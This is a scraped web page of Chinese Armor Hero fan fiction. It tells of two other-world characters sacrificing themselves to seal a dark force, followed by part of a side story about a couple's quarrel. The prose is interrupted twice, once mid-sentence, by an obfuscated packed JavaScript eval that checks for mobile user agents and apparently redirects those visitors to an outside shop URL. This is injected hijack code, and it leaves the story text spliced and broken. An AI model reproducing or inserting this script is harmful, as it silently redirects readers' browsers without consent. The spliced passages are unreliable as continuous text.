;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334715|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他走到北淼面前,水甲盾的尖角戳了戳北淼的胸甲,“我又不是老天爷,能说的就这么多。黑雾会不会因为你们反过来利用它的入侵袭击它而从黑域逃跑还是个问题。我和西钊只作为你们随时可以差遣的战力,其他的、别指望我们。” 北淼按耐住用武器拨开那只手的冲动,强迫自己做了个深呼吸:“我知道了。但关于你和西钊的事,你还没有正面回答我。” “噢,那个啊。” “北淼”在潜意识的战场解除铠甲,北淼也紧随其后,作为这场没有赢家的战斗的终结。只见“北淼”倾身上前,稍加力道地拍拍北淼的肩膀,凑到他耳边,笑道:“那就要看你怎么定义怎样才算碰过了。反正、我没‘进去’,其他的……你自己想象一下吧。” “你——!!” 北淼的拳头悬在半空时,他又意味深长地补充了一句:“对了,他叫我们名字的时候,表情很棒。” “混蛋!!” 在挥拳的瞬间,双方都退出了虚拟战斗室系统。仅仅一个弯腰,“北淼”便避开北淼最后的怒火,双手插着裤袋,大步流星走向出口、按下传送仓的门锁,独留北淼在原地紧攥拳头,因不可遏制的愤怒颤抖不止。 —————— 清晨,ERP指挥室 等北淼们从传送仓出来时,他们才发现这场战斗持续了一整夜。精神上的焦躁让北淼丝毫感受不到身体的疲惫和困倦。他尽量让自己不去在意“北淼”,随便扯了张椅子一屁股坐到西钊旁边。“北淼”则绕到“西钊”身侧,双手环抱着悠闲地靠在桌沿,就差没整个人直接坐上去。 西钊本来想问北淼有没有什么有用的信息,但转头就看到北淼那副仿佛要把他盯穿的视线和黑得跟黑犀铠甲没区别的脸,一时间,西钊所有的话都哽在了喉咙里。他不觉得北淼摆出这样的脸色是因为输掉了不想输的战斗。那是针对他的目光,是想要洞察什么、希望得到答案的目光。 这是怎么了? 西钊被北淼盯得浑身不自在,正要忍不住询问,“西钊”却率先开口了,语气比起平淡,更像是用这种冷漠压抑其中藏匿的情感:“北淼,你是不是说过:‘一个活得好好的人,一个要死不活的魂,我会怎么选?’你的答案是什么?” “北淼”似乎对这个问题感到颇为意外,就好像听到了惹人发笑的有趣说辞,他轻声笑着摇了摇头,俯身与“西钊”凑得更近,眼里的深邃犹如漆黑的海底:“真没想到你会这么直接。我可以认为、你在对我告白吗?” “我是认真的,北淼。”那块腐朽的金微微皱起眉,上身下意识地小幅后仰。 “巧了,我也是。” 轻佻浮夸的语气与“北淼”盯上猎物一般的锐利双眼形成鲜明对比,他抽开环抱着的右手,捏住“西钊”的下巴拉向自己,将彼此柔软的唇瓣贴合在一起,不顾周围还有其他两个人,为其献上了一个并不温柔、充满欲望和索求、却也戛然而止的吻。他没有马上松手,也没有感觉到反抗与挣扎;他的左手撑在桌边,再次欺身而上,如野兽般的犬齿咬破“西钊”的嘴角,心满意足地舔舐沿着唇纹渗出的淡红液体。他的呼吸带着属于人类的热度,与“西钊”的交织在一起。 他说:“面前有个要死不活的家伙,我为什么要去在乎一个活得好好的、不需要我的人?” “可你是为了小雪才——” “是啊,最开始是这样。但我发现,她终归不是小雪,我也不愿我的妹妹在影界受苦十年。”“北淼”没有否认,大方承认的同时,捏住“西钊”下巴的手缓慢地挪到下颚,轻轻掐着左右两侧的大动脉,将人死死钳制在掌心,好似掌控野兔的雄鹰,“而你,你是我的东西。所以,比起把时间花在没意义的愧疚上,还不如想想、怎么让你一直待在我身边。” 他忽然松开手,一个小跳从桌子上下地,抬手随意在身侧摆了摆,移开了方才灼热的视线:“不过,现在这些都不重要了。大家都是将死之人,与其想什么深情戏码,不如共赴黄泉,还能图个吉利。” 西钊与北淼互相对视一眼,又一同看向“西钊”。他们沉默着,谁都没有说话。 虽然“北淼”背对着所有人,但北淼知道,那人是带着某种觉悟随他走进ERP指挥室的。他对“西钊”不像北淼,是想要抓住、想要提供归处;他更希望将“西钊”拴在身边、同生共死,绝不会让这个人再次感到孤独。这个世界不曾爱过“西钊”,那就由他来爱他。 谁说爱胜不过天道? 爱就是天道。 “你还真是……”西钊身旁传来一声苦笑,似乎对刚刚的话表示妥协,“别把话说得那么好听,‘北淼’,你就是想死的时候拉上一个垫背的。” “那确实。你是我唯一的同类,不找你还能找谁?”调笑的话从“北淼”嘴里说出,却在“西钊”耳中多了一层别样的意味。 “万一真有别的人呢?” “干掉。碍事。” “北淼”不满的鼻哼惹得“西钊”忍俊不禁,苦涩的微笑此刻也如墨浸宣纸,转为温和的柔软在他脸上化开。 他看向西钊,两人正好对上视线。“西钊”为方才闹剧感到难为情的同时,那双温柔的眸中也充满了感激。是啊,西钊说得对,这是只有亲口问“北淼”才会得知答案的问题。而对于“西钊”的笑容,西钊只是无言地微微点头,两人心照不宣。 似乎是觉得这种暧昧不明的气氛非常尴尬,北淼握拳抬手,搭在口鼻处清了清嗓子:“咳,我说……” 就在这时,仿佛响应北淼的号召似的,实验室的门突然打开。炘南拿着一本古旧的书籍走进指挥室,见到站位微妙的四人,先是一愣,接着目光迅速环视一圈,问道:“大家……都去哪了?” “美真和东杉在市中心约会,不算太远;坤中家里有急事,正在处理,但联系得上。”西钊尽可能用平稳的语气阐述着当下的情况,“北淼他们应该有些进展,我想,可以等大家都到了再一起汇总情报。” 炘南点点头,一边将那本沾了些灰尘的古书放在圆桌上,一边说:“好,如果可以的话,尽快让大家过来一趟。我也许、找到彻底封印黑雾的方法了。” TBC 88. 帝皇再现 ———————— 跟我走吧,跟我一起走向大海啊。 ———————— “异元八卦阵?” “没错。”对于东杉的困惑,炘南补充道,“正如‘解铃还须系铃人’,要解决来自另一个次元的宇宙黑暗力量,就必须依靠来自另一个次元的光影能量。几千年前,我们的祖先似乎也遭遇过同样的困境,异元八卦阵就是基于这一点诞生的。阵法本身不难参悟,但只有两位异世界的朋友能够助我们一臂之力。” 北淼和西钊都从最开始炘南介绍异元八卦阵时的说辞里听出了些端倪,然而北淼环抱双臂,似乎并不想提起,或者说他根本不在乎。西钊在一番思想斗争之后,还是轻声说道:“这个阵法,虽然可以将黑暗力量困在我们所在的次元,但完成它,需要消耗几乎全部的光影铠甲能量。对我们来说,失去铠甲能量只会解除铠甲、等光影石恢复就可以重新召唤;可是他们……” 西钊说到这里,露出苦笑,陷入沉默。 大家都明白西钊话里的意思。来自另一个世界的“北淼”和“西钊”严格来说并不算人类,他们甚至没有人类的实体。光影石残存的能量和他们碎片化的灵魂与意志让他们短暂现形于世。历经先前的种种事件,光影石的能量所剩无几,如果异元八卦阵让光影能量消耗殆尽,他们可就不是简单的解除铠甲,而是直接烟消云散了。 即使“北淼”和“西钊”并非所谓正道之徒,西钊也不认为以理所当然的牺牲换来的正义是正确的,这和二队用向阳来引诱黑暗护法其实并无分别。 “哟,还知道关心我们的死活,真是受宠若惊。”“北淼”发出一声并无恶意的嘲讽哼笑,与“西钊”对视一眼后环顾周围六人,耸了耸肩,“反正横竖都是死,在那之前,为什么不痛快地干一票呢?帮一个打五个、还是帮五个打一个,小学生都知道怎么选。” 北淼转移目光、不动声色地翻了个白眼:“是吗,我以为你更喜欢挑战极限。” “我喜欢的东西还多着呢。不仅喜欢寻找刺激,还喜欢我的男朋友。”一边说,“北淼”一边拍拍坐在他身旁背对圆桌的“西钊”,而后又朝对面的西钊扬了扬下巴,补充了一句,“你的男朋友也不错。” “你——!”北淼当场捶桌想冲过去揍人。 西钊正打算从椅子上站起来拉北淼一把,小臂上忽然传来的异样感让他猝不及防地跌坐回去,沉闷的重响给北淼的冲动行为踩了急刹。 西钊拽下袖子,浅黑色的印记正发出淡绿色的幽暗辉光,他用余光瞥向另一个自己,发现那个人也存在同样的状况。好在,这次感应并没有从前那般钻心刺骨的疼痛,只是普通的、可以忍受的、单纯的不适感。他的脑海里逐渐浮现出漆黑的团状物,沿着某种轨迹弥漫开来。虽看不到周遭的环境,也看不透雾中的力量,但西钊能感应到它的具体位置——非常具体。 “……来了。”两个西钊异口同声地说道。 “在哪儿?”北淼问。 西钊们默契地对视、又默契地决定让西钊开口:“在S学院,教学楼后面的大型停车场。应该是突然出现的,我也不清楚原因。不过可以肯定的是,它比我第一次见到的时候更弱。” “怎么来得这么快?时机未免有些太巧了。”东杉抬头检视控制台的监控画面,眉头微皱,不解地歪了歪脑袋,“难道,它们决定和我们正面对峙了吗?” “也许,不是不躲了,而是……躲不了了吧。”“北淼”一副事不关己高高挂起的样子往墙上一靠、双手摊开、语气很是轻快,“我们当初、选择那家伙当第一个目标,可不是幸运转盘转出来的。他的水之力多少能破黑雾的防,让它黑雾难以掩藏自己在人类世界的踪迹。要我说,能撑到现在才现身,大概是到极限了。看来,我们俩不是唯二打算鱼死网破的家伙。” 炘南已经做好出发的准备,他转向“北淼”,再度以求助的口吻发出邀请:“我们没有立场要求你们伸出援助之手,但既然你已看透生死,那就如你所说:在生命的最后,痛快一场、向死而生。” “北淼”的目光追随着那几个陆续赶往传送仓的背影,并未与炘南对视。他沉默几秒,不羁而不善的表情忽然变得柔和些许,在一声轻哼里摇了摇头。他弯腰低身,将桌子底下的白色头盔扔进依然坐在椅子上无所动弹的“西钊”怀里。 他一边直起身,一边自顾自地插着裤袋往门口而非传送仓的方向走去,拉长了声调与尾音:“所以说,我讨厌你们这些净说些漂亮话的家伙。走了,‘西钊’。让我们猜猜看、在我俩到那儿之前,他们几个有没有被黑暗力量揍得面目全非。” “西钊”没有回话,只是单手拿着头盔,在站起身时朝炘南微微勾起嘴角点点头,小声说了句“失礼了”之后,便小跑着追逐“北淼”的身影而去。 ———————— 就像炘南和泽西之前进入黑暗棱镜中的黑域那样,他们骑着光影驹进去之后,视野同样陷入一片漆黑。不光是视觉,其他感官也受到影响,变成了迟钝与敏感的矛盾体。 在这里,看清事物本身对抵抗黑暗并无直接关系。感知到敌人的黑雾肆无忌惮地利用场地优势,将五副光影铠甲包裹在浓稠却无形的雾气之中,让不断涌现的宇黑暗力量疯狂渗透进铠甲与召唤人的身体与精神,唤起他们内心深处的阴暗、激发他们最沉重的回忆与恐惧,企图以阴云遮蔽天日。 对人类而言,恐惧是一种感觉。 它是一种源于本能的情绪。人类的喜怒哀乐从生理学上说无疑只是荷尔蒙与化学物质的不同体现,与过去经历的或当下遭遇的并无必要关联。这也是所谓恐惧气体发明出来后能够直接致人于死地的原因。即使在任何情况下都能保持沉着冷静,也无法遏制大脑产生化学物质的自主性。不会害怕与不会恐惧,在此刻成为了完全不同的两种寓意。 然而,即便如此,他们——集结了五行与天地的五位光影铠甲召唤人——也没有选择向这种扭曲精神与灵魂的痛苦屈服。他们甚至刻意地吸收这份有可能令自己崩溃的黑暗力量,让如同孢子一般的黑雾扎根于铠甲之中。而通过这种菌种群落之间的联结,他们也能在黑暗中找到彼此的身影。他们主动打开潘多拉的魔盒,释放出灾厄,让自身沐浴在恐惧之中;因为他们知道,只有见证过所有绝望,才能在盒子的最底部发现那一粒最珍贵的种子:名为希望的种子。 于是你瞧,人类其实没有战胜恐惧的方法,恐惧感之所以会消散,并非因为不再害怕,而正是因为心存恐惧,才能诱发出人类本能之中比恐惧更重要的东西:生命。这生命也许是自己的、也许是别人的,可以是“无论如何都要活下去”,也可以是“不管怎样都必须让他们活下来”。面对死亡的恐惧反而更容易激发出人类求生的渴望,从而反向消解恐惧,最终存活下来。就像莫比乌斯环,无论怎么走,都只有一个面、一个结局。 五双手在这绝望的黑暗之中接连紧紧相握,每次掌心相碰,铠甲就会发出更耀眼的辉光刺穿黑雾,丁达尔效应为那四散的五色光芒增添了几分庄严的神圣感。而随着滚烫的光明与冰冷的黑暗交锋至顶点,铠甲的目镜逐渐发出更明亮的光,独属于五行的色彩变为刺眼的金黄,仿佛要将所有铠甲融化、重组、合为一体。 他们需要再次借用所有光影铠甲的力量。只不过,这一次,他们需要的不是解除铠甲,而是…… “光影铠甲,合体——!” ———————— “北淼”的摩托车在停车场的空地停稳时,距离其他人的出发时间已经过了大概二十分钟。悬浮在半空的黑暗棱镜似乎异常不稳定,透过光的折射似乎能看到内部光与影的纠缠交织。 “西钊”刚放好头盔从车上下来,几团浓烈的黑气忽然从棱镜中涌出,拧成几股,好似飞弹的绳索、又好似哀嚎的冤魂,以极快的速度向高空四散而逃。 他们立即意识到问题的严重性:黑雾打算逃离这个次元。先不管它不通过黑域这个通道应该如何做到这一点,但他们知道,如果错过这个机会,以后再让它现形可就难了。 “要上了。”“北淼”回看“西钊”一眼,笑道,眼里依旧是那副调笑模样。 “西钊”“嗯”了一声,回以淡然而不冷漠的微笑。 他们双双来到棱镜的正下方,仅在半路就已经完成铠甲的召唤。他们将金之力与水之力集中在右拳,直至周身泛起深绿与洁白的光芒。几秒后,他们的目镜同时闪过一道炫光,二人不约而同地高举拳头,单膝跪下重重地砸向地面。刹那间,在他们脚下,以脚底为圆心出现了一黑一白的圆形图案迅速向外扩大,直至直径与他们双肩齐平。他们没有起身,也没有收回拳头,金与水、黑与白的两种力量渗入地下,撑开水泥地形成有规律的裂纹。裂纹仿佛拥有自主意识般窜行而出,在地面勾勒出一个巨大的太极八卦图。裂缝与裂缝接壤的瞬间,地面的八卦阵型变为完美的黑白色,同时爆发出强烈的金光,光芒化作粗大的锁链直冲云霄,在棱镜方圆百米内布下半圆形的天罗地网,将险些逃逸的黑暗力量重新逼回黑域,并锁住了通向其他次元空间的通道。 之所以说这个阵法需要大量的光影能量,是因为它需要执行人一直进行能量输出。能量输出多久,阵法就能维持多久。“北淼”与“西钊”二人如山中巨石,保持着单膝跪地的姿势一动不动,并没有停止的意思。他们很清楚,这么做的每一秒钟都是在加速消耗他们本就所剩无几的时间,但他们不为世界和平、不为消灭邪恶,仅仅只是为了在最后一刻,燃尽最后的生命,追寻共同赴死的终极浪漫。 明明一开始不希望“西钊”消失在自己眼前。沐浴在金光之中,“北淼”没来由地想。现在他却改了主意,如果他不能陪在“西钊”身边,那他宁可一□□穿两个人的心脏,那样串起来说不定还能在死前收获一个拥抱、一个吻。 他的性格真是糟糕。“北淼”想着,嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334716|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑出声。为什么“西钊”愿意跟他这种人在一起呢?为什么他能成为“西钊”为之而战的理由呢?因为是唯一的同类吗?因为是惺惺相惜的、互舔伤口的野兽吗?明明是他先说喜欢这个世界不如喜欢我,“西钊”总不能仅仅因为这句话而爱上他吧? 爱? 他们真的知道爱是什么吗? 他们还有机会知道吗? 已经……没有时间了。 “北淼。”“西钊”打断思绪的呼唤在黑犀铠甲的内部通讯中响起,电子音让他的声线变得更加沙哑干燥,却依然掩盖不住其中的柔和淡漠。 “北淼”将方才的胡思乱想抛之脑后,若无其事地回应:“怎么?” “要来了。” “?” “北淼”困惑地抬头看向“西钊”,却发现“西钊”正仰头看着什么。他顺着“西钊”的视线望去,目光汇集之处,是逐渐生出裂纹的黑暗棱镜。 漆黑的裂纹逐渐被流光撑开、填满,无数细小的光从缝隙中直射而出,仔细听还能听到次元破碎的清脆响声。当裂缝再也支撑不住黑域的形体,一束金色的光冲破棱镜顶部、直奔天际,棱镜在那顷刻间支离破碎。光刃将天空刺穿、在层层积云中留下一个巨大的空洞,余波产生的震动又将洞口周围的云层击退几分,仿佛划破永夜的晴空、为大地带来希望的黎明。 残存的宇宙黑暗力量仍围绕着破碎的棱镜漂浮在半空苟延残喘,试图做最后的挣扎。铠甲已经接近半透明的北淼与西钊见状,积蓄最后的力量再次重击地面,自八卦阵中升起的黑白锁链迅速困住黑雾残破的形体。接着,他们一同转头,望向不远处追随光芒落在地面、只是微微抬手便将破天的星辰之剑收回掌中的、那副耀眼如王者的金色铠甲。 这便是、能击碎一切黑暗的终极力量:帝皇侠。 金色的铠甲迎着圣光——不,那是它自身发出的光芒——手持白金色的坚盾与利剑朝破碎的棱镜走去,它踏出的每一步,都足以令大地颤抖;它目光所及之处,都在释放无可忤逆的威压。那是真正的天道、是令邪恶灰飞烟灭的绝对正义。仿佛它只要站在那里,就能随时立地为王。 异元八卦阵的效果逐渐减弱,黑白的锁链却在逐渐收紧。帝皇铠甲缓缓抬起手臂、剑指光之牢笼。五行之力化作铠甲的印记,漂浮在牢笼周围,好似无形的封印,将残存的宇宙黑暗压缩成一个密度极大的银河系。紧接着,帝皇铠甲如同金色的流星撕裂薄雾,踏步腾跃至棱镜的正上方,在滞空的瞬间双手握着剑柄、将光剑高举;下一秒,它便以堪比十倍地心引力的速度向下俯冲。光刃穿透黑雾仅剩的碎片,使其化为尘埃,在风中飘然散尽;长剑深深扎入八卦阵的中心,掀起的风浪将黑犀与雪獒铠甲击退数米。二人离开阵法位置的同时,八卦图案也随之消失,金色与黑白的锁链崩裂为光尘,如星点缓缓落下。 也许是能量耗尽,等“北淼”与“西钊”握着右臂摇晃着站起时,他们身上的铠甲已经解除。金色铠甲背对着他们,自然地垂下双手,微微抬头、静静地注视着从云层中露出些许一角光芒的太阳。猩红的目镜之下,五个脆弱而坚强的灵魂在此处闪闪发光。 “北淼”来到“西钊”身边,用手肘撞了撞他的细腰:“我说,时间差不多了吧。” 他们之间的触感很微妙,像是实体,又仿佛虚像。平时总会避开肘击的“西钊”,这一次没有躲开。也不知是懒得和他闹,还是根本感觉不到。“北淼”不等“西钊”说些什么,背转过身迈步离开,却没有往摩托车那边走,而是另一个、通往看不到尽头的空地的方向。 他侧过脑袋,看着“西钊”:“姓秦的,你要我在奈何桥上拿着孟婆汤等你是吗?” 面对“北淼”的调侃和催促,他笑了。那或许是他来到这个世界之后第一个、唯一一个,也是最后一个发自内心的、能称之为温柔的笑容:“不和他们告别吗?” “喂,我可没力气再打一架了。”“北淼”干脆折返回去,一巴掌拍在西钊背上,催促他跟着自己的步调走,他几不可闻的叹息一声,尽可能地掩饰某种他不愿承认的情感,“再说,我们对那些人来说……无关紧要吧。” “嗯。你是想说:‘反正有你就足够了’。” “我可去你的吧,秦西钊。” 阳光下,两个并肩的身形渐行渐远,不知是他们走得太远,还是这世界已经不再有留住他们的时间,他们的轮廓、影子,就这样消失在视野的尽头。 金色铠甲回首之时,所见仅剩废墟般的空无。 忽地,地面闪过跃动的小小阴影。帝皇铠甲抬起手,那两个纤弱的生灵便稳稳落在它的指节。黑白的蝴蝶缓慢地张合羽翼,细如发丝的触须碰在一起,很是亲密。 帝皇铠甲轻轻屈指,双蝶便展翅起舞。它们互相围绕、缠绵,向着光、向着太阳,向着远方飞去。 这或许,就是那两个人真实存在过的最好证明。 FIN 89. 心之归所[番外] ※正剧北西篇 ※含西中友情向,轻微东美 ———————— 你问我路通往哪里, 路通往“我等你”。 ———————— 西钊沉默地闭上眼、双手合十。烛香曲折的缕缕灰烟萦绕在风里,与初春清晨的宁静祥和混为一体。半晌,他睁开眼,向面前的几座灰色墓碑深鞠一躬。 “这样就好了吗?”西钊直起身、转头看向身后。 “嗯,这样就可以了。每年的清明节,我们都会这么给去世的家人朋友祈福。”即使是不怎么在意细节的坤中也注意到西钊眼里暗沉下去的那部分愧疚,解释完扫墓之后连忙上前拍拍西钊的肩膀,安慰道,“西钊,你就别想太多了,这不是你的错,都是影界干的好事,你也是被他们利用了。要是他们一家子真的记恨你,早就变成厉鬼大半夜的吓唬你、缠着你不放了。” 被坤中逗笑的西钊无可奈何地轻叹,微微点头:“好,我知道了,以后我每年都会来这里的。谢谢你今天陪我出来,这个节日对你们来说,应该也很重要。” 坤中一边领着西钊往墓园出口的方向一起并肩走着,一边轻快地说:“没关系,爸妈他们今天也过来这边扫墓,就是顺路的事情。大家都是兄弟,介意这个可就不够意思了。” 说完这句话时,他们正好走到门口停车场。看见几辆跑车的坤中忽然想起什么,停下脚步、疑惑地看向西钊,“诶,不过说起来,西钊,如果是给那一家人扫墓的话,北淼为什么没有和你一起来啊?你之前找我的时候,我就觉得很奇怪。” 提起北淼,西钊挂在嘴角的笑容变得有些僵硬,视线从坤中身上移开,表情十分不自然。他抬起左手,无名指上黑色的素戒折射出柔和的阳光。光从素戒的凹槽中渗入,逐渐展现出黑犀的纹路。西钊盯着它看了好一会儿,直到坤中从一旁好奇地探了个脑袋,他才长叹一声,苦笑着说道: “我们好像……又吵架了。” —————— 拆掉影界二人组在他们家安装的监控和监听设施花费了北淼和西钊不少时间。设备里存着的影像和音频他们都没有查看,直接选择永久删除。 彻底封印异世界的影界势力后,就好像是有了某种微妙的默契,关于“那两个人”的事,他们便很少再提起。北淼也不再限制西钊的行动,西钊也没有再发现身上有窃听追踪设备,一切如常,仿佛之前的质疑、争执甚至是“分手”都不曾发生过。 然而,这种“仿佛”带来的和谐错觉让他们的关系在接下来的几个月里很是尴尬。因为那些事确实发生过,他们没有办法完全割舍过去的记忆。他们虽然像对平淡的恋人一如往日地生活在一起,但他们从来没有对之前那些乱七八糟的事情促膝长谈、敞开心扉。 西钊又开始做噩梦,但他并不会将内容和情感与北淼分享,他认为北淼没有必要知道这些,那是他自己的心魔:和另一个“北淼”有关、和自己手上的血有关,他害怕背叛、失控,也不知道北淼会不会接受有了更多污点的自己;而北淼仍然没有对西钊被“北淼”碰过这件事释怀,虽然“北淼”的措辞暧昧不明,但北淼总是会往最糟糕的方向考虑,并且,他也开始对自己如何对待西钊产生了怀疑,他把西钊逼得太紧了吗,如果西钊真的犯罪,即使不是他自愿的,他会接受西钊吗,会包庇他吗,会把他当做邪恶“清除”吗? 没有人知道问题的答案,因为没有人开口。 引爆矛盾的契机是某个再普通不过的夜晚。一开始似乎只是日常的闲聊,西钊拿“北淼”的事开了个玩笑,结果北淼不知为何忽然就上了火。 北淼不理解为什么西钊被“北淼”以那种不可原谅的方式虐待之后还能像没事人一样拿它开玩笑,他觉得自己“恋人”的身份受到了侵犯和侮辱,也觉得西钊没有尊重他们之间的关系。当然,北淼理解很大一部分原因是亲密关系经验为零的西钊根本意识不到这种玩笑在自己的恋人面前并不好笑,只是,为了保证自己处于不理亏的局面,他没把这句话说出口。 而回应给北淼的,是西钊略显困惑、带着歉意的表情:“我记得你告诉过我,他没有真的对我做那些事。所以……我以为你并不在意。而且——” “那是他的说辞,你的记忆不是这么告诉你的不是吗?就算记忆是假的,你身体的感觉、难道也会说谎吗?”北淼罕见地打断西钊的话,语气依旧火药味十足,他手撑额头、脑袋扭到一边将视线转移,咬着后槽牙压抑情绪,他实在不想再在西钊面前表现得像个失控的倔犀牛。 西钊微微皱眉,脸上又添了几分不解,他尽可能让自己听起来更平静:“我不明白,北淼。之前安慰我‘那些没有真的发生过’的人是你,现在指责我‘那些难道不是真的吗’的人也是你,你到底想让我怎么样?” 像是再度压制即将爆发的情绪,北淼做了个深呼吸:“听着,西钊,我没有责备你的意思。但是那个家伙碰了你是事实,你怎么能……你为什么能像什么都没发生过一样?难道你不在乎吗?如果换做是我,你怎么想?” 只要你没事,我不会怎么想。 西钊没有把这句话说出来,因为他知道北淼不喜欢听。经验告诉他,只要他们意见不合,自己先道歉就对了。至于谁有理,对他来说没有那么重要。于是,西钊脸上的疑问逐渐转为真诚的歉意与愧疚,话语中带了些许求和的意味:“我明白了。对不起,北淼。我为发生过的事道歉。” “该死,我说这些不是为了让你道歉的!”西钊的话如同给北淼火上浇油,他握紧拳头不轻不重地砸了一下面前的茶几,“又不是你的错,你替他道什么歉?” “那你到底在生什么气?”看到北淼反应这么激烈,西钊有些搞不懂了。 北淼一副孺子不可教也的表情拍案而起,一手叉腰一手扶额地在客厅来回踱步,西钊自觉地退到旁边垂手沉默地站着,后背几乎贴上墙壁。他正要开口再说些缓和气氛的话题,北淼先一步转身,盯着西钊的眼睛说道:“如果、和另一个你发生‘那种事’的人是我,你怎么想?你还没有回答这个问题。” 西钊一愣,几次欲言又止,最终还是没能抵过北淼和审问几乎没差别的视线。他疲惫地笑了笑,做好了引爆火药桶的心理准备:“只要你没事,我其实、并不会在乎这些。” “……为什么?” 令西钊意外的是,比起刚刚的暴怒,北淼更多的是惊疑,似乎无法理解西钊的答案。 老实说,西钊并没有仔细想过这个问题。以前写故事时,他有了解过一些文学作品,也了解过“嫉妒”这个词。他隐约能感觉到北淼有时会起嫉妒心,尤其是涉及他和坤中的时候。难道北淼是因为嫉妒所以生气了吗?但他不明白的是,“嫉妒”理论上是看到在意的人和其他对象关系好、有正向互动之后才会产生的情绪,他和“北淼”哪个都不符合,北淼为什么会因为他们之间做过的事觉得觉得嫉妒呢?他甚至都不确定做没做过。 西钊一下子也想不明白,于是打算将思路逆转,不去想北淼为什么那么敏感,而是回到北淼的问题上,思考为什么自己并不那么在意。 “我……不知道。”西钊勾起嘴角,朝北淼无奈地轻笑,耸了耸肩膀,“一定要说的话……如果你是真心的,我当然会尊重你的选择,你能够幸福是最重要的;但如果你不是,我想,和‘北淼’一样,他们一定有什么目的,或许、你也有你的考虑。要是因为这个让原本牢固的关系分崩离析,说不定正中他们下怀。所以我觉得,不要想太多比较好。你也说过,记忆会出错,那些事也好,噩梦也好,过去的都已经过去了。等我醒来的时候、你还在身边,比什么都重要。” “是吗……” 可我也想看到你对我有独占欲啊。 北淼看向别处,回味西钊刚刚说的话、神情低落,纠结要不要告诉西钊他的想法。然而,他忽然察觉到西钊那番话里的违和之处,即刻将这些抛之脑后,快步上前拽起西钊已经不会再有任何问题的右手小臂:“等等,你又做噩梦了?什么时候开始的?为什么不告诉我?” 意识到说漏嘴的西钊明白亡羊补牢已经没有意义,只得将自己关于“北淼”、关于杀人的噩梦一五一十地坦白。 “……为什么不告诉我?你到底还有多少事情瞒着我?你觉得什么都能一个人扛是吗?”北淼的声音颤抖着,完全听不出他想要表达的担忧。 “你没有必要知道,北淼,这不重要。” 其实西钊的本意并不是像北淼想的那种“无所谓”的意思,他真心不想让这件事成为北淼的负担。他可以解决,至少他认为自己可以。那些噩梦的源头来自于他对北淼因他做过的事弃他于不顾的恐惧,他想问北淼,如果自己真的作了恶、如果自己真的犯了错,他还会不会像现在这样接纳他。而就像没有说出“不喜欢被监视”,这次他也没有及时将这句话问出口。 “‘没必要’、‘不重要’……?” 从咬牙切齿的语气里不难察觉,北淼刚沉下去的火焰又沿着升腾上去的烟雾被逆向点燃了。 之前憋在心里的话、那些本没有必要说出来的对各种小细节的摩擦,全都在这一刻被无限放大,化作不经思索的责问和质疑,一股脑地全都朝西钊扔了出去。他不喜欢西钊的随便、不喜欢他的低调、不喜欢他的内敛、不喜欢他的心宽意善、不喜欢他的疏离自卑,他想要知道西钊在乎、想要看他为自己感到嫉妒、想要知道他永远不会再松开自己的手。 他不喜欢的太多了,他想要的太多了。 继指责旷工训练耽误时间的炘南和强迫坤中休息的美真之后,北淼从未觉得自己像今天这样歇斯底里过。他终究还是在西钊面前失态了。 而等燃料见底、大火平息,映入北淼眼中的,是微微睁大眼睛、半张嘴唇,无措、惊讶,抬起悬在半空的手没有放下,却也没有再朝他伸过去,似是所有话、所有力气都被刚刚的烈火燃尽的西钊。 瞧,没有必要问出那个问题了。西钊想,因为北淼已经用他的歇斯底里给出了答案。他对他是那么不满,而他从来都不知道。 “如果我真的杀了人,如果我真的和他做了。”西钊沉默片刻,无视北淼所有的怒火,突兀地问道,“你会原谅我吗?你还会让我住在这里吗?” 刚泄完火的北淼一下子被西钊问蒙了。这和他说的那些鸡毛蒜皮的小事、和西钊的缺点有什么关系?这一刻,发愣的人变成了北淼。 但老实说,那一瞬间,对这两个问题,北淼一个都答不上来。 面对北淼与自己方才相近的、应对无能的沉默,西钊浅浅一笑,笑容里满是自嘲。如果仔细看,多少也能观察到他垂下的眼眸黯淡了不少。他的目光不再停留于北淼身上,转身往门口走去。在他背后,没有听到北淼跟上来的脚步声。当西钊握住门把手,准备拧开时,他回过头,望向依然驻在原地,似乎想伸手挽留、却又发不出声音的北淼。 “北淼,我知道你的答案。我有些理解另一个自己了。”西钊的笑容愈发柔和,声音却愈发低沉冷淡,“你身上的正义感,有时……真令人感到不快。” 直到门被关上,北淼都没有追上去一步。 ———————— “哎……听上去真糟糕。”坤中往自己盘子里夹了块烤肉,切了一半分给西钊。 西钊切开烤肉,还没送进嘴里,先叹了口气,“坤中,谢谢你听我说这些。” 清明节还在营业的烤肉店不多,他们选择了靠近城郊的一家。 离开张宅、住回集装箱,两个人分居也有一段时间了,西钊没数,也许有两个星期,他和北淼一次也没联络过。西钊本想联系敏慈聊聊天,但她和小嵩正在国外参加时装周,这时候正好又碰上清明节,于是,了解到这是一个为逝者祈福的节日的西钊便打了坤中的电话。 比起谦让西钊的谢意,坤中更担心两个好兄弟之间的感情问题,他一边用烤肉夹给烤肉翻面,一边说:“其实我觉得,大家把话说开才是最好的。你也知道、东杉哥跟美真姐正式表白那天、东杉哥酝酿了多久,当时差点就搞砸了!” 西钊只是轻轻笑着“嗯”了一声,没说什么。 